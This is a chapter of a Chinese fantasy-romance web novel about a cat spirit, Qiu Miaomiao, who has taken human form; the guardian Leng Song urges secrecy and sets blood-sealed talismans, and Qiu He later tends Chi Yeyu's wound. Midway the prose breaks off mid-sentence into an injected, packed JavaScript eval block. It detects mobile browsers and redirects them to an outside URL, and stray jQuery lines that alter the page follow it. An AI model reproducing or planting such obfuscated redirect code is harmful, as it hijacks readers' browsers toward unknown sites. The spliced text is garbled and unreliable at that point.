宁城大学出现灵脉气口是可遇不可求的巧合,秋喵喵则是万中无一天时地利“猫”和汇聚一身,方才化形为人。


    根据冷淞的观测,宁城大学的灵脉气口会自行衰落消退,不必太过在意,唯一需要小心的就是别走漏了风声。


    池夜雨嘴很严,秋荷也不会乱说话,冷淞最终将视线停留在了秋喵喵身上。


    “我不会告诉别人的。”秋喵喵承诺。


    “我知道,不过还需要上一道保险。”冷淞翻出一堆符纸,递给秋喵喵,秋喵喵警惕扫视,不敢伸手接,冷淞便将其搁在了茶几上,“这些是遮盖妖气的符纸,之后你出门记得揣口袋里,这样一般人就看不出你是妖了,不过我还是建议你不要出门为好。”


    “为什么?”秋喵喵不满。


    “因为你作为一只被灵脉气口的余气滋养而化形的猫妖,徒有其型,没有相应的法力,出去容易引人怀疑,一旦抓住你,基本也就能摸到宁城灵脉的事了,况且近来上面乱了,黑市也彻底没有了节制,不择手段的人也就多了,”冷淞叹了口气,“总归是不要出门,小心为妙。”


    秋荷不禁问道:“喵喵再也不能出门了?”


    她之前还答应周末有空就带着小猫出去,体会一下当人有什么乐趣。


    冷淞说:“最好如此。”


    秋荷还想再为小猫争取几句,但生性腼腆的她实在不谙此道,冷淞又说了几句出于安全之类的缘由,她觉得他说的有道理,她也不是不讲理的,低头看着放在膝盖上的双手,心里不乐意,却又讷讷的不知再说什么了。


    池夜雨忽然开口说:“也不至于不能出门吧。”


    冷淞摊手道:“但如我们所见,喵喵没有自保的能力。”


    “我可以带他出去。”在秋荷担忧目光之下,池夜雨又自觉补了一句,“等我的伤好了之后。我的能力你总该信得过吧。”


    池夜雨与冷凇飞快地交换了几个眼神,冷凇明白池夜雨这是在示意他同意,一时有些错愕,不明白池夜雨怎么对只猫妖如此上心。最终他犹豫着点头了:“这样也好,但除此之外——”


    他找出一柄罗盘:“这个屋子内最好也要保护一下。”


    池夜雨说:“我之前放置过镇宅的符纸了。”


    “我对你勘探风水阳宅的本事不太放心。”冷淞跟着罗盘,找到了池夜雨上次放置的符纸,一边变换符纸的方位角落,一边絮絮叨叨地教池夜雨各种八卦方位,如同在给学生上课。


    在很小的时候,池夜雨和胡霁雪早早觉察了他们冷大哥的未来职业方向,两人都觉得冷淞日后的工作一定会站在讲台上,因为他说话一说多了,天然带着一种授课的感觉。


    “夜雨啊,你这……”冷淞几乎调整了池夜雨放置的所有的符纸,他想将批评说得委婉一点,最终没有成功,“你这八卦方位,实在一塌糊涂啊……”


    八卦方位阴阳五行的算法关系是布置法阵的基础,布置一个复杂法阵需要花时间精力精细计算,池夜雨很少用,八卦方位只记了个大概。


    调整完屋内符纸的位置,冷淞又找出一张新的符纸,摆在桌上,要屋檐下的两人一猫往符上滴一滴血,滴上房屋主人的血液,屋内镇宅平安的阵法就能生效了。


    冷淞甚至很周到的备好了三根采血针。


    池夜雨先动手,取过一根采血针,扎了一下,摁在符纸上,秋喵喵很好奇地拿起他那根采血针,学着池夜雨的样子,也在食指扎了一下,注视着血珠渗出,而后摁在符纸。


    秋荷也照做,秋喵喵凑了过来,目不转睛地盯着她食指上红豆粒一样的血珠,喉结上下蠕动了一下,秋荷急忙飞快地将血滴摁在符纸上,秋喵喵紧跟着,好奇地嗅了嗅符纸。


    秋荷忙拉了一把秋喵喵,示意他别乱动,秋喵喵乖乖坐回她身边,却捧起她刚刚刺破的那只手,小心舔舐起来,将她的手指含在口中,温热潮湿的口腔包裹着,带着倒刺的舌头反复在伤口处摩挲。


    小猫的绿眼睛冒出幽光,秋荷骤然抽回手,却发现冷淞注视小猫,神情严肃,若有所思。


    “猫咪受伤都是用唾液消毒,他这是在帮我消毒……”秋荷忙替小猫分辨。


    “是吗?”冷淞明显不信,他注视着秋喵喵,一手暗暗捏起了一张符咒,“我怎么觉得他好像是对血液感兴趣。”


    “怎么可能呢?”秋荷笑容不太自然,“其实喵喵晕血。”


    冷淞仍然不信:“晕血?猫妖会晕血?”


    “是,是啊,确实挺难以置信的……”秋荷紧张到呼吸几乎停滞,下意识将喵喵往身后揽,她不确定冷淞要对她的猫做些什么。


    气氛逐渐凝滞,池夜雨的声音插了进来:“喵喵确实晕血。”


    冷淞像是被狠狠噎了一下:“你也信?”


    池夜雨说:“是真的,昨晚上我回来,喵喵因为晕血,躲在屋子里不敢出来。”


    冷淞半信半疑,盯着池夜雨那张似笑非笑的脸,照旧琢磨不出他在想什么。忽然他灵光一闪,看看秋荷,又看看疑似在为秋荷打补丁的池夜雨,脑海中再度浮现出那个大胆的想法——池夜雨可能有些怕秋荷,不然怎么总是明目张胆的向着她,向着她的猫,睁眼说瞎话。


    离开前,冷淞将池夜雨拉到门口单独说话,他严肃询问:“你没瞎吧?”


    “当然没有。”


    “你看不出猫妖——”


    “喵喵。”


    “好吧,你看不出喵喵——”


    “当然看得出来。”


    “那你——”


    “但你也应该看得出来,喵喵只是单纯的猫,没有害人之心。”


    “如果——”


    “如果他伤人吃人,另生异心,”池夜雨微微一顿,“处理一只没有法力的猫妖易如反掌。”


    每一句话都被堵了回去,冷淞颇感郁闷,愈加觉得池夜雨不跟他站一块,明里暗里的向着秋荷了,他实在忍不了,将池夜雨拉近,压低嗓子,郑重其事问:“所以你为什么害怕秋荷?”


    池夜雨看上去永远带着笑的平静面庞愣住,脸上若有若无的笑容破裂,无比诧异地看向冷淞。


    冷淞将池夜雨脸上的匪夷所思理解为了大惊失色,越发印证了他的猜测没错,只是他想不通,池夜雨为什么会怕秋荷,一个文静木讷的姑娘。事后回到济城,他与胡霁雪说起这点疑惑,胡霁雪白眼都快翻到天


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026008|177439||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    外了。


    来照城一趟,冷淞留下了大量的符纸之外也留下了胡霁雪新制的药品,瓶瓶罐罐不少,顺便也带来了胡霁雪的医嘱,嘱咐池夜雨好好修养,按时换药。


    秋荷问池夜雨自己换药是否方便,池夜雨不知想什么,犹豫了好久才说:“不太方便……”


    念及接下来两天周末,自己无事,秋荷暂且揽下了这一重任。


    夏日的午后安静燥热,蝉声不止,池夜雨撩起上衣,坐在床边的秋荷忐忑地解开他腰腹间的绷带,长松一口气,伤口愈合的很好,她不用时刻准备着情况不对就送他去医院抢救了。


    秋荷按照瓶瓶罐罐里夹的一张纸条寻找合适的药物,纸条毋庸置疑是胡霁雪留的,非常精密的记录着如何上药,第几日该用什么药,在一些关键处着重圈了起来,比如如何操作可以避免留下疤痕这一条旁边连写两个切记,画着巨大的叹号,反复提醒。


    这让秋荷觉得池夜雨以前肯定不遵医嘱,经常不按胡霁雪的要求来。


    事实确实如此,以往受伤,如果不是正好被胡霁雪逮住,池夜雨身上的伤口是得不到好好照顾的,往往只是简单的止血,上药,等它自己长好,跳过了诸多精细呵护的环节,最终留下一道或大或小的疤痕。


    瓶瓶罐罐里那张事无巨细的纸条实际上是胡霁雪留给秋荷的。


    胡霁雪自己劝不动池夜雨,但她觉得池夜雨或许愿意听秋荷的,虽然她也搞不懂为什么,不过她的困惑比冷淞的困惑高级多了,她的困惑是:什么时候开始的?又是因为什么呢?


    秋荷一丝不苟的按照纸条的指示,一会儿药粉一会儿药膏的,池夜雨就乖乖坐着,任她摆弄,找些话题跟她说话:“你周末会一直待在家里吗?”


    秋荷点头:“没法和喵喵出去,我就只好呆在家里了。”


    “你难道没有其他可以一起出去玩的朋友吗?”


    “没有。”


    “没有?”


    不知是否是戳中了内心痛处的缘故,秋荷觉得池夜雨的语气听上去有些惊讶与玩味,这让她恼火,她的父母就常常指责她性格孤僻,连个朋友也没有。


    “没有!”秋荷罕见的语气不善。


    池夜雨却轻声笑了:“我的意思是,难道我们不是朋友吗?”


    而后他看到秋荷仰起脸,向来低垂的眉眼因讶然而瞪大,好像乌云拨开,露出点点繁星的夜空,但这些星星依然内敛,与他的眼神交汇时又很快垂了下去,仿佛没存在过。


    他心底一空,隐隐失落,却又听到秋荷结结巴巴的声音:“当,当然是——”


    “当然是朋友。”秋荷心脏乱跳,她竭力平复呼吸,希望心跳的动静不要太大,吓走了她平生难得的朋友。


    池夜雨嘴角不由得带着笑意,现在她承认他是朋友了,他们不算不熟了吧,她面对他也不会那么拘谨客气了吧……


    “等下个周末,我的伤应该就没什么事了,你要是也有空,我带你和喵喵出去玩。”


    “好啊。”秋荷应下了,觉得自己脸热热的,上药的间隙悄悄瞄了一眼池夜雨,池夜雨冲她笑,她确定自己脸红了,仓惶地垂下眼帘,精神集中到伤口上去。